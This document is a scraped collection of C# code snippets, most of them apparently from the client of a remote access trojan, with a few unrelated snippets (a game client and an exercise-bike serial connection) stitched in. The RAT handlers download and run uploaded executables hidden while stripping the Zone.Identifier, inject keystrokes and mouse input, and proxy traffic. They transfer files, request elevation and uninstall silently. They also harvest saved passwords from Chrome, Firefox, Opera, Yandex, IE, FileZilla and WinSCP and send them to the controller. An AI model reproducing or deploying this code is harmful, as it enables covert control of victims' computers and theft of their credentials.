public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client)
        {
            if (string.IsNullOrEmpty(command.ApplicationName))
            {
                client.Send(new SetStatus {
                    Message = "Process could not be started!"
                });
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName        = command.ApplicationName
                };
                Process.Start(startInfo);
            }
            catch
            {
                client.Send(new SetStatus {
                    Message = "Process could not be started!"
                });
            }
            finally
            {
                HandleGetProcesses(new GetProcesses(), client);
            }
        }
        public static void HandleCommand(Networking.Client client, IMessage packet)
        {
            var type = packet.GetType();

            if (type == typeof(ReverseProxyConnect))
            {
                client.ConnectReverseProxy((ReverseProxyConnect)packet);
            }
            else if (type == typeof(ReverseProxyData))
            {
                ReverseProxyData   dataCommand = (ReverseProxyData)packet;
                ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);

                if (proxyClient != null)
                {
                    proxyClient.SendToTargetServer(dataCommand.Data);
                }
            }
            else if (type == typeof(ReverseProxyDisconnect))
            {
                ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
                ReverseProxyClient     socksClient       = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);

                if (socksClient != null)
                {
                    socksClient.Disconnect();
                }
            }
        }
        public static void Uninstall(Networking.Client client)
        {
            try
            {
                if (Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }

                string batchFile = BatchFile.CreateUninstallBatch(ClientData.CurrentPath, Keylogger.LogDirectory);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create uninstall-batch file");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                client.Send(new SetStatus {
                    Message = $"Uninstall failed: {ex.Message}"
                });
            }
        }
        public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client)
        {
            GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
            string errorMsg;
            string newKeyName = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }

            responsePacket.ErrorMsg = errorMsg;
            responsePacket.Match    = new RegSeekerMatch
            {
                Key        = newKeyName,
                Data       = RegistryKeyHelper.GetDefaultValues(),
                HasSubKeys = false
            };
            responsePacket.ParentPath = packet.ParentPath;

            client.Send(responsePacket);
        }
        public static void HandleDoShutdownAction(DoShutdownAction command, Networking.Client client)
        {
            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo();
                switch (command.Action)
                {
                case ShutdownAction.Shutdown:
                    startInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    startInfo.UseShellExecute = true;
                    startInfo.Arguments       = "/s /t 0"; // shutdown
                    startInfo.FileName        = "shutdown";
                    Process.Start(startInfo);
                    break;

                case ShutdownAction.Restart:
                    startInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    startInfo.UseShellExecute = true;
                    startInfo.Arguments       = "/r /t 0"; // restart
                    startInfo.FileName        = "shutdown";
                    Process.Start(startInfo);
                    break;

                case ShutdownAction.Standby:
                    Application.SetSuspendState(PowerState.Suspend, true, true);     // standby
                    break;
                }
            }
            catch (Exception ex)
            {
                client.Send(new SetStatus {
                    Message = $"Action failed: {ex.Message}"
                });
            }
        }
Example #6
0
        public static void HandleGetConnections(Networking.Client client, GetConnections packet)
        {
            var table = GetTable();

            var connections = new Models.TcpConnection[table.Length];

            for (int i = 0; i < table.Length; i++)
            {
                string processName;
                try
                {
                    var p = Process.GetProcessById((int)table[i].owningPid);
                    processName = p.ProcessName;
                }
                catch
                {
                    processName = $"PID: {table[i].owningPid}";
                }

                connections[i] = new Models.TcpConnection {
                    ProcessName   = processName,
                    LocalAddress  = table[i].LocalAddress.ToString(),
                    LocalPort     = table[i].LocalPort,
                    RemoteAddress = table[i].RemoteAddress.ToString(),
                    RemotePort    = table[i].RemotePort,
                    State         = (ConnectionState)table[i].state
                };
            }

            client.Send(new GetConnectionsResponse {
                Connections = connections
            });
        }
        public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client)
        {
            if (!RenamedFiles.ContainsKey(command.Id))
            {
                RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
            }

            string filePath = RenamedFiles[command.Id];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.HasExecutableIdentifier(command.Block))
                {
                    throw new Exception("No executable file");
                }

                var destFile = new FileSplitLegacy(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (RenamedFiles.ContainsKey(command.Id))
                    {
                        RenamedFiles.Remove(command.Id);
                    }

                    FileHelper.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    client.Send(new SetStatus {
                        Message = "Executed File"
                    });
                }
            }
            catch (Exception ex)
            {
                if (RenamedFiles.ContainsKey(command.Id))
                {
                    RenamedFiles.Remove(command.Id);
                }
                NativeMethods.DeleteFile(filePath);

                client.Send(new SetStatus {
                    Message = $"Execution failed: {ex.Message}"
                });
            }
        }
Example #8
0
        public static void HandleGetAuthentication(GetAuthentication command, Networking.Client client)
        {
            GeoLocationHelper.Initialize();

            client.Send(new GetAuthenticationResponse
            {
                Version         = Settings.VERSION,
                OperatingSystem = PlatformHelper.FullName,
                AccountType     = WindowsAccountHelper.GetAccountType(),
                Country         = GeoLocationHelper.GeoInfo.Country,
                CountryCode     = GeoLocationHelper.GeoInfo.CountryCode,
                Region          = GeoLocationHelper.GeoInfo.Region,
                City            = GeoLocationHelper.GeoInfo.City,
                ImageIndex      = GeoLocationHelper.ImageIndex,
                Id       = DevicesHelper.HardwareId,
                Username = WindowsAccountHelper.GetName(),
                PcName   = SystemHelper.GetPcName(),
                Tag      = Settings.TAG
            });

            if (ClientData.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                client.Send(new SetStatus
                {
                    Message = "Adding to startup failed."
                });
            }
        }
Example #9
0
        private void connectToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (client != null)
            {
                client.Close();
                client = null;

                if (server == null)
                    timer.Start();
                return;
            }

            {
                if (dlg.ShowDialog() != DialogResult.OK)
                    return;

                if (string.IsNullOrEmpty(dlg.IP) || string.IsNullOrEmpty(dlg.PlayerName))
                    return;

                client = new Networking.Client();

                client.Tcp.PacketReceived += new Networking.NetworkReceivePacket(Tcp_PacketReceived);
                client.Udp.PacketReceived += new Networking.NetworkReceivePacket(Udp_PacketReceived);
                client.ConnectionStateChanged += new Networking.ClientConnectionStateChanged(client_ConnectionStateChanged);

                client.Connect(dlg.IP, dlg.PlayerName);

                if (!timer.Enabled)
                    timer.Start();
            }
        }
Example #10
0
        public static void HandleDoUploadFile(FileTransferChunk command, Networking.Client client)
        {
            try
            {
                if (CanceledFileTransfers.ContainsKey(command.Id))
                {
                    return;
                }

                if (command.Chunk.Offset == 0 && File.Exists(command.FilePath))
                {
                    NativeMethods.DeleteFile(command.FilePath); // delete existing file
                }
                using (var destFile = new FileSplit(command.FilePath, FileAccess.Write))
                {
                    destFile.WriteChunk(command.Chunk);
                }
            }
            catch (Exception)
            {
                CanceledFileTransfers.Add(command.Id, "error");
                client.Send(new FileTransferCancel
                {
                    Id     = command.Id,
                    Reason = "Error writing file"
                });
            }
        }
        public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client)
        {
            if (WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    client.Send(new SetStatus {
                        Message = "User refused the elevation request."
                    });
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                    return;
                }
                Program.ConnectClient.Exit();
            }
            else
            {
                client.Send(new SetStatus {
                    Message = "Process already elevated."
                });
            }
        }
        public static void HandleDoClientUninstall(DoClientUninstall command, Networking.Client client)
        {
            client.Send(new SetStatus {
                Message = "Uninstalling... good bye :-("
            });

            ClientUninstaller.Uninstall(client);
        }
 private void OnClientStateChange(Networking.Client s, bool connected)
 {
     // reset user status
     if (connected)
     {
         _lastUserStatus = UserStatus.Active;
     }
 }
 /// <summary>
 /// Handles changes of the client state.
 /// </summary>
 /// <param name="s">The client which changed its state.</param>
 /// <param name="connected">The new connection state of the client.</param>
 private void OnClientStateChange(Networking.Client s, bool connected)
 {
     // close shell on client disconnection
     if (!connected)
     {
         _shell?.Dispose();
     }
 }
Example #15
0
 public static void HandleGetMonitors(GetMonitors command, Networking.Client client)
 {
     if (Screen.AllScreens.Length > 0)
     {
         client.Send(new GetMonitorsResponse {
             Number = Screen.AllScreens.Length
         });
     }
 }
Example #16
0
        public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Networking.Client client)
        {
            if (NativeMethodsHelper.IsScreensaverActive())
            {
                NativeMethodsHelper.DisableScreensaver();
            }

            NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown);
        }
        public static void HandleGetDrives(GetDrives command, Networking.Client client)
        {
            DriveInfo[] driveInfos;
            try
            {
                driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray();
            }
            catch (IOException)
            {
                client.Send(new SetStatusFileManager {
                    Message = "GetDrives I/O error", SetLastDirectorySeen = false
                });
                return;
            }
            catch (UnauthorizedAccessException)
            {
                client.Send(new SetStatusFileManager {
                    Message = "GetDrives No permission", SetLastDirectorySeen = false
                });
                return;
            }

            if (driveInfos.Length == 0)
            {
                client.Send(new SetStatusFileManager {
                    Message = "GetDrives No drives", SetLastDirectorySeen = false
                });
                return;
            }

            Models.Drive[] drives = new Models.Drive[driveInfos.Length];
            for (int i = 0; i < drives.Length; i++)
            {
                try
                {
                    var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel)
                        ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName,
                                        driveInfos[i].VolumeLabel,
                                        driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat)
                        : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName,
                                        driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat);

                    drives[i] = new Models.Drive
                    {
                        DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName
                    };
                }
                catch (Exception)
                {
                }
            }

            client.Send(new GetDrivesResponse {
                Drives = drives
            });
        }
Example #18
0
 private void OnClientStateChange(Networking.Client s, bool connected)
 {
     if (!connected)
     {
         if (_webClient.IsBusy)
         {
             _webClient.CancelAsync();
         }
     }
 }
Example #19
0
        public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client)
        {
            if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath))
            {
                NativeMethods.DeleteFile(command.RemotePath); // delete existing file
            }
            FileSplit destFile = new FileSplit(command.RemotePath);

            destFile.AppendBlock(command.Block, command.CurrentBlock);
        }
Example #20
0
        public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client)
        {
            new Thread(() =>
            {
                _limitThreads.WaitOne();
                try
                {
                    FileSplit srcFile = new FileSplit(command.RemotePath);
                    if (srcFile.MaxBlocks < 0)
                    {
                        throw new Exception(srcFile.LastError);
                    }

                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                    {
                        if (!client.Connected || _canceledDownloads.ContainsKey(command.Id))
                        {
                            break;
                        }

                        byte[] block;

                        if (!srcFile.ReadBlock(currentBlock, out block))
                        {
                            throw new Exception(srcFile.LastError);
                        }


                        client.SendBlocking(new DoDownloadFileResponse
                        {
                            Id            = command.Id,
                            Filename      = Path.GetFileName(command.RemotePath),
                            Block         = block,
                            MaxBlocks     = srcFile.MaxBlocks,
                            CurrentBlock  = currentBlock,
                            CustomMessage = srcFile.LastError
                        });
                    }
                }
                catch (Exception ex)
                {
                    client.SendBlocking(new DoDownloadFileResponse
                    {
                        Id            = command.Id,
                        Filename      = Path.GetFileName(command.RemotePath),
                        Block         = new byte[0],
                        MaxBlocks     = -1,
                        CurrentBlock  = -1,
                        CustomMessage = ex.Message
                    });
                }
                _limitThreads.Release();
            }).Start();
        }
Example #21
0
        public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
        {
            this.ConnectionId = command.ConnectionId;
            this.Target       = command.Target;
            this.Port         = command.Port;
            this.Client       = client;
            this.Handle       = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            //Non-Blocking connect, so there is no need for a extra thread to create
            this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
        }
Example #22
0
        public static void HandleDoMouseEvent(DoMouseEvent command, Networking.Client client)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
                Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

                // Disable screensaver if active before input
                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }
Example #23
0
 public static void HandleDoDownloadFileCancel(FileTransferCancel command, Networking.Client client)
 {
     if (!CanceledFileTransfers.ContainsKey(command.Id))
     {
         CanceledFileTransfers.Add(command.Id, "canceled");
         client.Send(new FileTransferCancel
         {
             Id     = command.Id,
             Reason = "Canceled"
         });
     }
 }
 public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client)
 {
     try
     {
         Process.GetProcessById(command.Pid).Kill();
     }
     catch
     {
     }
     finally
     {
         HandleGetProcesses(new GetProcesses(), client);
     }
 }
        public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client)
        {
            new Thread(() =>
            {
                MessageBox.Show(command.Text, command.Caption,
                                (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.Button),
                                (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.Icon),
                                MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
            }).Start();

            client.Send(new SetStatus {
                Message = "Showed Messagebox"
            });
        }
Example #26
0
 public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Networking.Client client)
 {
     if (!_canceledDownloads.ContainsKey(command.Id))
     {
         _canceledDownloads.Add(command.Id, "canceled");
         client.SendBlocking(new DoDownloadFileResponse
         {
             Id            = command.Id,
             Filename      = "canceled",
             Block         = new byte[0],
             MaxBlocks     = -1,
             CurrentBlock  = -1,
             CustomMessage = "Canceled"
         });
     }
 }
Example #27
0
        public static void HandleGetPasswords(GetPasswords packet, Networking.Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Example #28
0
        private void OnClientStateChange(Networking.Client s, bool connected)
        {
            switch (connected)
            {
            case true:

                _tokenSource?.Dispose();
                _tokenSource = new CancellationTokenSource();
                _token       = _tokenSource.Token;
                break;

            case false:
                // cancel all running transfers on disconnect
                _tokenSource.Cancel();
                break;
            }
        }
        public static void HandleDoDownloadFile(FileTransferRequest command, Networking.Client client)
        {
            new Thread(() =>
            {
                LimitThreads.WaitOne();
                try
                {
                    using (var srcFile = new FileSplit(command.RemotePath, FileAccess.Read))
                    {
                        ActiveTransfers[command.Id] = srcFile;
                        foreach (var chunk in srcFile)
                        {
                            if (!client.Connected || !ActiveTransfers.ContainsKey(command.Id))
                            {
                                break;
                            }

                            // blocking sending might not be required, needs further testing
                            client.SendBlocking(new FileTransferChunk
                            {
                                Id       = command.Id,
                                FilePath = command.RemotePath,
                                FileSize = srcFile.FileSize,
                                Chunk    = chunk
                            });
                        }
                    }
                }
                catch (Exception)
                {
                    client.Send(new FileTransferCancel
                    {
                        Id     = command.Id,
                        Reason = "Error reading file"
                    });
                }
                finally
                {
                    RemoveFileTransfer(command.Id);
                    LimitThreads.Release();
                }
            }).Start();
        }
Example #30
0
        public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client)
        {
            try
            {
                IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();

                var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
                var hostName   = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";

                var geoInfo = GeoInformationFactory.GetGeoInformation();

                List <Tuple <string, string> > lstInfos = new List <Tuple <string, string> >
                {
                    new Tuple <string, string>("Processor (CPU)", DevicesHelper.GetCpuName()),
                    new Tuple <string, string>("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"),
                    new Tuple <string, string>("Video Card (GPU)", DevicesHelper.GetGpuName()),
                    new Tuple <string, string>("Username", WindowsAccountHelper.GetName()),
                    new Tuple <string, string>("PC Name", SystemHelper.GetPcName()),
                    new Tuple <string, string>("Domain Name", domainName),
                    new Tuple <string, string>("Host Name", hostName),
                    new Tuple <string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
                    new Tuple <string, string>("System Directory", Environment.SystemDirectory),
                    new Tuple <string, string>("Uptime", SystemHelper.GetUptime()),
                    new Tuple <string, string>("MAC Address", DevicesHelper.GetMacAddress()),
                    new Tuple <string, string>("LAN IP Address", DevicesHelper.GetLanIp()),
                    new Tuple <string, string>("WAN IP Address", geoInfo.IpAddress),
                    new Tuple <string, string>("ASN", geoInfo.Asn),
                    new Tuple <string, string>("ISP", geoInfo.Isp),
                    new Tuple <string, string>("Antivirus", SystemHelper.GetAntivirus()),
                    new Tuple <string, string>("Firewall", SystemHelper.GetFirewall()),
                    new Tuple <string, string>("Time Zone", geoInfo.Timezone),
                    new Tuple <string, string>("Country", geoInfo.Country)
                };

                client.Send(new GetSystemInfoResponse {
                    SystemInfos = lstInfos
                });
            }
            catch
            {
            }
        }
Example #31
0
        public static void Update(Networking.Client client, string newFilePath)
        {
            try
            {
                FileHelper.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (!FileHelper.IsValidExecuteableFile(bytes))
                {
                    throw new Exception("no pe file");
                }

                string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create update batch file.");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                if (Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                client.Send(new SetStatus {
                    Message = $"Update failed: {ex.Message}"
                });
            }
        }
Example #32
0
        /// <summary>
        /// Attempts to connect to the ketler at given port
        /// </summary>
        /// <param name="strPort">The serialport to which the device is connected (E.g. COM1)</param>
        /// <returns></returns>
        public bool connect(string strPort, string strIPAddress = null, int nPort = 0, Source nSource = Source.SOURCE_SERIALPORT)
        {
            m_nSource = nSource;

            try
            {
                switch (m_nSource)
                {
                    case Source.SOURCE_SERIALPORT:

                        m_pHandler = new System.IO.Ports.SerialPort(strPort);
                        ((System.IO.Ports.SerialPort)m_pHandler).Open();

                        break;
                    case Source.SOURCE_SIMULATOR:

                        m_pHandler = new Networking.Client();

                        if (!((Networking.Client)m_pHandler).connect(strIPAddress, nPort, false, Networking.Client.ClientType.CLIENTTYPE_STRING))
                        {

                            throw new Exception("Could not create TCP connection.");
                        }

                        ((Networking.Client)m_pHandler).DataReceived += Kettler_X7_DataReceived;

                        break;
                }
            }
            catch
            {
                return false;
            }

            return true;
        }